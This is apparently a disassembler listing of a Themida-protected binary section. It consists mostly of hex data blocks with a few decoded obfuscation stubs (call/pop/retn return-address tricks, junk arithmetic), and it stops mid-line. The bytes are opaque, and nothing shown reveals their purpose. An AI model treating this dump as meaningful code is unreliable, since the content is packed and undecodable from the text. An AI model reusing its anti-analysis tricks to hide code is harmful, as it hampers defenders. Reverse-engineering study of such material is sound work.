0FFFF6A5Bh, 131139B5h dd 6800F06h, 81000000h, 31EDC7F3h, 0AD95FF69h, 0E9061331h dd 107h, 0B0DEB70Fh, 0D8BB6600h, 8170E6C4h, 0B3999BD3h dd 8971E44Bh, 13177D95h, 0F613C06h, 0E683h, 70BF6600h dd 0C8B60FC0h, 15218D89h, 6BA0613h, 0F000000h, 684h, 75BD8B00h dd 8B06130Eh, 0DE9C1h, 0D7EC0000h, 49445B9Dh, 0BF5FF71Ah dd 0C1123CF1h, 8B6604E8h, 0E2F766F8h, 0C1D78166h, 8AC82BFBh dd 0E9D18BDAh, 5, 24E36291h, 91E9CDh, 8B660000h, 359D03FEh dd 8B06131Fh, 885h, 50D78100h, 831668B2h, 9D8907C0h, 61305B1h dd 8B00C083h, 131541BDh, 8DBD8B06h, 3B061312h, 13830FD0h dd 81000000h, 3D0173C3h, 51E95Fh, 8B510000h, 130DD9BDh dd 8D8B5B06h, 0FFFFFFFFh, 83F9B70Fh, 840F01E1h, 37h, 0FE9h dd 1369B300h, 58361564h, 750DCE4Ah, 4DCE5FAh, 0FFFFA583h dd 0F8FEFFFFh, 89589h, 0BE90000h, 4000000h, 0A2F76793h dd 59E36D41h, 0E9D305h, 8D000000h, 174079B5h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 4D246358h, 558560FCh, 6AED16h, 24358589h, 95FF0613h dd 6130DA9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 3EC35242h, 0D21B589h, 0C3B90613h, 5600000Fh, 5F8BD780h dd 6AFCE183h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 5C90C356h, 5370A497h, 9D8BFBBAh dd 6130D3Dh, 8D8B60FCh, 6131F6Dh, 0D036D181h, 0B8612F08h dd 0 dd 12E851h, 0ED290000h, 3DBD6AECh, 917793D4h, 4055B70Fh dd 821B3A29h, 1B59D89h, 5F5B0613h, 8A0FD22Bh, 6, 1D319D89h dd 33AD0613h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0AF816DC3h dd 2DB7BF18h, 880D36FBh, 0BB000000h, 7DB4CAE6h, 1BBD958Bh dd 9D230613h, 6130DBDh, 12399529h, 8D8B0613h, 61318DDh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0CFC35242h dd 0C1E1A0E7h, 91D740C3h, 0C28B50EFh, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0EBFFC350h, 3109BD89h dd 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 273911C3h, 684C1124h, 899D8BB6h, 83061305h dd 131D1DBDh, 840F0006h, 62h, 0E8FE8B66h, 12h, 618B024Bh dd 0A0F77568h, 760E8BD1h, 0A056996Bh, 0DF8BC6C6h, 0B85Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 9589B7C3h, 613350Dh, 4F8D8D8Dh, 9D330613h dd 61321FDh, 9E8E1FFh, 0FD000000h, 1FB789D0h, 97299787h dd 0BD835FF5h, 6133055h, 0D3840F00h, 0E8000003h, 0Dh, 0AB94660Bh dd 78596C3Ch, 908F9DA3h, 0F9B70F20h, 55BD835Bh, 1061330h dd 3CB840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 9F54E3C3h, 83F599ABh, 133055BDh dd 860F0306h, 367h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 1EC35646h, 0F4D1F33Bh, 3360DD5Bh, 133489BDh dd 0D98C6606h, 0F099D8Bh, 0E1800613h, 259D8904h, 0A06130Dh dd 9840FC9h, 0B7000001h, 0DB79BB45h, 858B3739h, 6132BB9h dd 60D78166h, 0B9853388h, 6A061305h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 4624C351h dd 541493A3h, 17CBBB9Eh, 66501CA1h, 489FB8Bh, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 373901F1h, 6AD98BFEh, 7DBF6600h, 4E873h, 3FF0000h, 8B66001Fh dd 0C3BF50DEh, 8B764109h, 8B042444h, 0A0D0BF00h, 448932C6h dd 52500424h, 10E951h, 2E090000h, 575F5FD7h, 0B5C27EC8h dd 285D7AC2h, 0F5B4006h, 58585A31h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 55C35646h, 351CF66Bh, 6660C4AAh dd 0B8476BAh, 13323DB5h, 95FF6106h, 6130A3Dh, 0C4548589h dd 0BD8B0616h, 613352Dh, 1B9E9h, 0BE800h, 0C8CF0000h, 8E2FBEC6h dd 113DE840h, 0ED9D8BCBh, 5B061305h, 0C44C858Bh, 0B70F0616h dd 1800C7DEh, 8B000000h, 130B61BDh, 50B58B06h, 6A0616C4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 0CED9C356h, 4E366322h, 90DB892h, 13220D8Dh dd 55858B06h, 8B06132Ah, 130C699Dh, 8B068906h, 0B9858BD8h dd 8906132Bh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 0B75839C3h, 402F90A4h, 60525096h dd 310F5250h, 0CE9585Ah, 41000000h, 815138C8h, 839B0BABh dd 61FA0D45h, 4AB7310Fh, 9650585Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 8DC35242h, 71BA815Eh, 8166A2E7h dd 0FF72F6C3h, 16C44CB5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 3B687724h dd 14158D89h, 1E680613h, 50DE79DCh, 0FDA8B52h, 8B0F31h dd 5A000000h, 24048158h, 21A527E1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 96C35343h, 89BD3345h, 66061316h dd 8DEFFBBFh, 16C45485h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 0CEA1FEBBh, 5D8F80FAh dd 3DE7BF6Bh, 820F4277h, 0Ch, 7E9h, 1242AB00h, 4EDE12B5h dd 148B0F90h, 0E9000000h, 0Fh, 0C53246D5h, 2708D48h, 48F4D072h dd 50FBDCA2h, 95FFF590h, 6130A3Dh, 1071BD8Bh, 6A610613h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0DC96C351h, 5585C7AFh, 3061330h, 0E9000000h dd 12h, 0D3FF49E3h, 3C68768h, 0F2171111h, 0B58C5342h, 0BD83406Ch dd 616C454h, 2C840F00h, 89000000h, 13320595h, 3CE906h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8015EEC3h, 50F5C2DFh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 9D8BC08Bh, 6130151h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A9C35242h, 5012FF82h dd 0D1C7BFE5h, 0BD83060Eh, 6133055h, 0B8850F03h, 8B000003h dd 54BD83F8h, 616C4h, 3A9840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1D2B0C3h dd 0CEE3EC94h, 0B5894CC4h, 6130D65h, 0C454B5FFh, 6A0616h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FB7166C3h, 0B1F5D3BAh, 95FFC431h, 6130969h, 0E852006Ah dd 3, 5AC35A20h db 89h, 54h, 24h ; --------------------------------------------------------------------------- loc_5C8F5F: ; CODE XREF: Themida_:005C7A72j add al, 81h inc esp and al, 4 pop ss ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- inc edx push edx retn ; --------------------------------------------------------------------------- retn 1F18h ; --------------------------------------------------------------------------- dw 0FFEh dd 685h, 0FEDF8100h, 8B7F0C76h, 16C448B5h, 0AAF38006h dd 106C7h, 8D090001h, 61306D9h, 73CF8166h, 12E99601h, 46000000h dd 59EA838Ah, 93154BDEh, 0D982CBA6h, 0AB90A0F0h, 0CE85048h dd 7F000000h, 75043090h, 1FE1D66Bh, 50595F01h, 0F616052h dd 5ADA8B31h, 0F965B58h, 0BD89FFBFh, 6131FD1h, 0C454B5FFh dd 8F0F0616h, 6, 890Fh, 0E1B70000h, 322995FFh, 0E0BF0613h dd 8B341410h, 16C448B5h, 31858B06h, 66061306h, 8689F98Bh dd 0C4h, 958BF88Bh, 6131BBDh, 0F93870BFh, 4C28364h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0B0C35343h, 6D9D034Dh dd 0F061322h, 5089DBBFh, 858DFC20h, 616D8E3h, 0B88689h dd 8E0F0000h, 1Eh, 12E8h, 0FF49E300h, 0C68768D3h, 17111103h dd 8C5342F2h, 9406CB5h, 131CF595h, 6A5B06h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 54C35646h, 0F7B1A3ECh dd 0AE96BBCh, 18000000h, 0E7820138h, 0DB99C63Dh, 54B5FFF1h dd 6A0616C4h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1B042444h, 47000000h, 0BC4CC357h, 0F9B2446Eh, 95FF0A14h dd 6131E95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0DC35040h, 52821A32h, 4D85015Dh, 50061306h, 6A243489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 42C352h, 9FBDCB81h, 0B5FF2543h, 616C454h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0BFC35040h dd 0B5A9B294h, 0A3BB7967h, 0FF7C5735h, 13214595h, 0D5B58906h dd 8306131Ch, 131495BDh, 840F0006h, 13h, 37EDC7BBh, 8B66967Bh dd 519650F9h, 1785BD8Bh, 0FF5F0613h, 16C454B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 51D9B302h, 21F5BD8Bh, 0FF5B0613h, 1305AD95h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E8D94156h, 11h, 0FDF5A719h, 4F628587h, 0C06C3596h dd 0A223BDE8h, 0FF5FF935h, 16C454B5h, 0F2D78106h, 0FF48C42Eh dd 13120995h, 0BD83F906h, 6130511h, 58840F02h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 235BC355h, 858BFCE0h, 6130F55h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BC35646h, 84BCC2AFh dd 8D8B6073h, 6132A05h, 0C661F5h, 59D8B00h, 0C706132Ah dd 131E5185h, 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 2F3949C5h, 0D585E093h dd 0D781B027h, 13F44D92h, 0AE9h, 4AF1C500h, 688C385Dh dd 0E9D8E3F6h, 0FFFFF4B5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 30C35242h, 6AC18Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 662B4CC3h dd 0BCB8B60h, 1314819Dh, 858D6106h, 6131EA9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0AEC35040h, 8B662EF5h dd 0BF6690F9h, 90509A1Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 8BC35545h, 0B810Fh, 880F0000h, 5, 0A58EABBh dd 6A006A39h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 89F8FAD6h, 131CD98Dh, 1E858D06h dd 6A0617D2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 4E89C356h, 0DE8h, 755C4E00h, 9FF36953h dd 1FE78470h, 8D89CAF7h, 6132955h, 5C0835Bh, 0E850BFB7h dd 12h, 0E6BB443Dh, 90628C4Ah, 630227Dh, 65021598h, 8B66D1E3h dd 4895FF9h, 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 8BA9896Ah, 131959BDh, 6A006A06h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0E2DCC350h, 3446AF8Fh, 6AB16Ch, 6AF88Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0CC35646h dd 159D8943h, 0FF06132Ch, 1307F195h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0F955CEEh dd 6661D6EBh, 8D8DF98Bh, 616A36Ah, 0D1FF5F52h, 0F21BD8Bh dd 0BD830613h, 613173Dh, 61850F01h, 0F000000h, 26AD8B7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 26C35040h dd 0C2CB6678h, 9D89EEC0h, 61305BDh, 50FE8B90h, 8A90DA8Bh dd 9595FFD9h, 6A06131Eh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0F9ECC350h, 7C6157FEh dd 0DE8B6645h, 0DFEE9h, 0E800h, 815D0000h, 17D228EDh, 9E906h dd 2FD30000h, 0CCD6CC0Dh, 6AA553F1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0EC9CC350h dd 57DD1B8Bh, 1D1BD2Bh, 8B5F0613h, 1316219Dh, 5E858D06h dd 8B06168Fh, 131361BDh, 0CE85006h, 0C3000000h, 0B0850DDEh dd 0A5CC6A15h, 60396BD6h, 0CE9h, 8FCB4900h, 22F12DFEh dd 1A7ED09Ch, 0BBBA6606h, 895F6117h, 6A2404h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 34338DC3h dd 0FA8B60FBh, 1E0D8D8Bh, 66610613h, 64BF91BBh, 35FFh dd 880F0000h, 3, 64DFB70Fh, 2589h, 0BD890000h, 6130E35h dd 16D985FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 9A19C9C3h, 0F4E3B2D6h, 9D8BAA9Dh dd 6130D65h, 27840Fh, 0EE80000h, 91000000h, 0F2FBE9F9h dd 0B30BA3BEh, 0EF6CCAC8h, 0EE9F2h, 0D670000h, 2B9E3E14h dd 0E7650E18h, 0C1620F16h, 6AFF6A5Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5C92C353h dd 0F2B8E199h, 0C18589EDh, 0FF06132Eh, 130ED5B5h, 69BD8906h dd 0FF061324h, 1331AD95h, 136E906h, 0E9600000h, 10h, 328B05C1h dd 37F00658h, 8007207Fh, 784BC352h, 10E9h, 28970000h, 3453160h dd 0A20F569Eh, 0F1193EE9h, 0B06176h, 8970E6FCh, 1323E9BDh dd 971E406h, 1308CD95h, 0F613C06h, 0EF83h, 0E18D0100h dd 0F06130Bh, 850FC8B6h, 5, 0FBF7D7BFh, 6BA1Eh, 0B5890000h dd 6130F21h, 0E8C1C18Bh, 59B58904h, 6606130Dh, 0BB66E2F7h dd 0C82B36ECh, 3ED78166h, 60D18B1Ch, 0ADF68160h, 6124FFCAh dd 0A6E961h, 0BE90000h, 67000000h, 2F85F280h, 504066AFh dd 858B0723h, 1, 0B5BD8B56h, 5B061305h, 8B07C083h, 132EB1BDh dd 0C08306h, 810Fh, 0D03B0000h, 1C830Fh, 0CE90000h, 89000000h dd 1F4286ECh, 0F0A010B8h, 0E9257CC1h, 58h, 20559D8Bh, 8D8B0613h dd 0FFFFFFFFh, 2FC58D29h, 0BD090613h, 61330B1h, 0F01E183h dd 3784h, 0DBD8B00h, 0F061332h, 28Dh, 83DAB300h, 0FFFFFFA5h dd 0BD8BFEFFh, 6132BD1h dd 19589h, 0CE90000h, 44000000h, 8BAD1615h, 0ED5E811Ah dd 0E9261D9Bh, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+617503Ch] push 0 push ecx call sub_5C979D and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C979D proc near ; CODE XREF: Themida_:005C9795p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 18h inc ecx push ecx retn sub_5C979D endp ; --------------------------------------------------------------------------- db 3Eh dec eax fcomp qword ptr [ecx-77387E9Fh] scasb mov cl, 3 mov edi, [ebp+61331B5h] push 0 push 0 push edi call sub_5C97CB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C97CB proc near ; CODE XREF: Themida_:005C97C3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5C97CB endp ; --------------------------------------------------------------------------- movsb test esp, ecx mov bx, 6D0Bh call dword ptr [ebp+6130DA9h] mov ebx, 0A42228Ch mov bh, 10h mov ecx, 0F70h mov [ebp+6131ECDh], edx and ecx, 0FFFFFFFCh push 0 push eax call sub_5C9808 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9808 proc near ; CODE XREF: Themida_:005C9800p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5C9808 endp ; --------------------------------------------------------------------------- mov bl, 0B8h les eax, [esi] movsb xor [ecx+62h], eax xor esp, [ebx] cld xor ebx, 14B29295h sub eax, eax push 0 push eax call sub_5C9836 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5C9836 proc near ; CODE XREF: Themida_:005C982Ep arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_5C9836 endp ; --------------------------------------------------------------------------- dw 556Ch dd 81234A37h, 0F91BC85h, 688h, 59958900h, 0BB061324h, 12F0D860h dd 13E9D22Bh, 3E000000h, 0B6FD8AC0h, 3CBF3487h, 667D6CA0h dd 4713B226h, 33AD58E2h, 3E8D1C2h, 4E983D0h, 0E781F475h dd 2805280Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 4C35545h, 864532C6h, 89B535C9h, 132C5185h, 880D06h dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0CF7F2CC3h, 0E65F68FBh, 810FCFE6h, 6, 0C5D9D33h dd 958B0613h, 6131BBDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0EFC35545h, 8BFFBF0Fh, 1318DD8Dh, 0FFBF0F06h dd 5BDA8B53h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 0DFBF5818h, 0E8790521h, 9, 0FB7F927h, 7DEEA9FDh, 0FDBD8BE0h dd 5F061314h, 1D1DBD83h, 0F000613h, 6484h, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 293AE779h, 664755BCh, 58DFCB81h, 18F5B501h, 0B80613h dd 66000000h, 8D8DFB8Bh, 6134F8Dh, 2826BB66h, 6AE1FFh dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 233516C3h, 1319D59Dh, 55BD8306h, 61330h, 49D840Fh, 81660000h dd 836119E3h, 133055BDh, 840F0106h, 4A6h, 83F8BF0Fh, 133055BDh dd 860F0306h, 460h, 295DBD29h, 6A600613h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 4AAEC357h dd 0EA3A5E44h, 0BD8BB42Ah, 6130611h, 6AD98C66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 893AC351h, 1320B1BDh, 4E18006h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 16C35646h, 9D75EE11h, 8B70E121h dd 131F859Dh, 0FC90A06h, 18884h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0A18D8970h dd 8B061320h, 132BB985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 950D6E77h, 330816F6h dd 1305B985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0F1A4C69Eh, 0FC0BB3BFh, 8E84Eh, 0C9D40000h dd 0FE0D81DBh, 890F0903h, 2, 505B5B57h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 883DC352h, 0C9267F0Dh, 6535F915h, 0E9DE8B66h, 14h, 0BE804340h dd 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 894317C3h, 58684E70h, 60540D63h, 0EE8h, 19686500h, 0A3EE8EBh dd 266915Ch, 5BB3A9D8h, 0CE8h, 26596200h, 72D2F3h, 8819F784h dd 0CB8B6649h, 3481615Bh, 1260A724h, 10E954h, 2C930000h dd 1ABDC99Eh, 3CE3FA83h, 0CDF19EE4h, 95FF4EB8h, 6130A3Dh dd 1FF9B589h, 0DA8B0613h, 0C4548589h, 6A0616h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0E9F9B6C3h, 1C4h, 9E8h, 1B6C9600h, 0E7D104CCh, 0BD0BF642h dd 6130BADh, 4C858B5Fh, 0F0616C4h, 384h, 0DF8B6600h, 8D0Fh dd 0C70000h, 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0D1C35747h, 8BA998AAh, 16C450B5h, 57006A06h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 589F8B50h, 55858B6Dh, 0BF06132Ah, 6BFB3ED6h, 10E90689h dd 2F000000h, 19834F15h, 4CB2490Ch, 8C6F9DC3h, 0FFC3691h dd 680h, 0DDBD8B00h, 8B061314h, 132BB985h, 80F88B06h, 46895AE3h dd 0DA8B6604h, 2890F50h, 0B7000000h, 243489D7h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 92C35141h, 0AEE09630h dd 8166EEFFh, 818A98DFh, 0BB8FC2EFh, 4CB5FF6Ch, 90616C4h dd 13140195h, 4E806h, 3FF0000h, 0BF66001Fh, 8B507ADEh dd 24448BFBh, 850F04h, 8B000000h, 0D98B6600h, 4244489h dd 8058FA8Bh, 858D38DFh, 616C454h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0AFC35141h, 6E8h, 7E25EE00h dd 578CC815h, 14E8h, 0CC890700h, 4FD79E92h, 0A56DDB35h dd 504DB0EDh, 0F483FCB6h, 5F5F5BFDh, 24048950h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FFC35545h, 0FF46E21Dh dd 130A3D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 0F90F93CCh, 0FC3BC8Fh, 18Bh, 9D8BFC00h dd 6130B05h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 495DF507h, 0ED17BB66h, 85C76BB3h dd 6133055h, 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0A0C35040h, 1F9D9D8Bh, 0BD830613h, 616C454h, 41840F00h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E9A4C350h, 3Bh, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0C5C35545h, 0F6D0BF66h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0D7CEC352h, 14E87Fh, 5E600000h, 9BCC203Eh dd 8595C52h, 1ED1BD76h, 0A6A51C86h, 0DE92625h, 12000000h dd 0E3FEEDD3h, 39752260h, 0B7EA383h, 0BD83FC5Bh, 6133055h dd 0D5850F03h, 6A000003h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 17F8C355h, 49513003h dd 78900CDh, 343C58BFh, 54BD835Ah, 616C4h, 39E840Fh, 0C3800000h dd 81958982h, 0FF061310h, 16C454B5h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1D04h, 0C3504000h, 3838A95Fh dd 40540A1h, 8BFCF9A8h, 1313359Dh, 6995FF06h, 66061309h dd 8B067CBBh, 16C448B5h, 0C256BF06h, 6C76143h, 10001h dd 5050F88Bh, 8B665252h, 310F5BDAh, 12E8h, 225E3C00h, 6AC66C53h dd 1E6446DFh, 352F2BA3h, 669DE03Bh, 5A5BDE8Bh, 24348958h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 8FC35242h dd 2BA876CDh, 0C454B5FFh, 6A0616h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 95FFBAC3h, 6133229h dd 20859D03h, 0B58B0613h, 616C448h, 14E8h, 0D5EFE500h dd 5D474479h, 6F792E93h, 19C2BAA8h, 0E6FCEB6Dh, 959D89B5h dd 5B061329h, 5E9h, 5CED9900h, 858B5BC2h, 6130631h, 29E58D09h dd 86890613h, 0C4h, 2965B589h, 958B0613h, 6131BBDh dd 6FF38166h, 4C28376h, 89F88B66h, 6A2050h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5F70E0C3h dd 14F59529h, 0BE80613h, 91000000h, 437AD038h, 392AA182h dd 8B668C8Ah, 858D5BFBh, 616D8E3h, 2129BD89h, 85310613h dd 6131F41h, 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 52F287C3h, 0BEE167EDh dd 2FDDBD8Bh, 0D88B0613h, 0C062BB66h, 6A006Ah, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0D5E69CC3h, 95D43F3Ah, 0B91BD8Bh, 0FFF90613h, 16C454B5h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 6D8F10EDh, 7E8DB11h, 0AC000000h, 8A8435BEh dd 0BD8B16E9h, 61304C9h, 9E85Fh, 38AC0000h, 9882D825h dd 8B1F5811h, 132B1D9Dh, 95FF5B06h, 6131E95h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 90C35646h, 18E28784h dd 0DBB70F3Fh, 34959D2Bh, 66500613h, 89EBA5BFh, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 1C33D5C3h, 159938C0h, 54B5FF09h, 8B0616C4h, 132175BDh dd 4595FF06h, 0F061321h, 0BD83FABFh, 6131495h, 58840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0FFBEC356h, 56D24F7Eh, 7E850EBh dd 18000000h, 5D5FE58Fh, 5F56C6FBh, 2434895Fh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8BC35545h, 7B1AC5F4h dd 0FF0408C7h, 16C454B5h, 95FFF906h, 61305ADh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2EC35141h, 0B5FFD88Bh dd 616C454h, 95FFDE8Bh, 6131209h, 511BD83h, 0F020613h dd 3284h, 0DEBF0F00h, 0F55858Bh, 0B7530613h, 0C65B04h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 2CBA0A64h, 0C734DDD7h, 131E5185h, 6, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 64B51432h, 0FB6F0287h, 0FFF348E9h, 0C98D09FFh, 8B06132Fh dd 8D8B60C1h, 61306BDh, 2800Fh, 61600000h, 29BD0961h, 8D06130Eh dd 131EA985h, 0CE806h, 0B3CF0000h, 0A63F3CCCh, 407E56FFh dd 905FA2F8h, 0BB665250h, 310FCF39h, 90BB6652h, 585A5B2Ah dd 0FE85250h, 0F7000000h, 39F5CB3Fh, 1F36F203h, 2A94970Ch dd 6E9ABBEh, 71000000h, 3344F57Ch, 905B5FDDh, 6AFA8Bh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 44C35040h dd 0B50B4DCDh, 912BD91h, 130DFD85h, 12E806h, 0A0360000h dd 7CBD2366h, 0FB761E01h, 1F2A5721h, 27C57BD0h, 1DB99589h dd 6A5F0613h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 0F27852BFh, 66072FADh, 9ED99BFh dd 130F01BDh, 8D7FB706h, 17E29B85h, 359D8B06h, 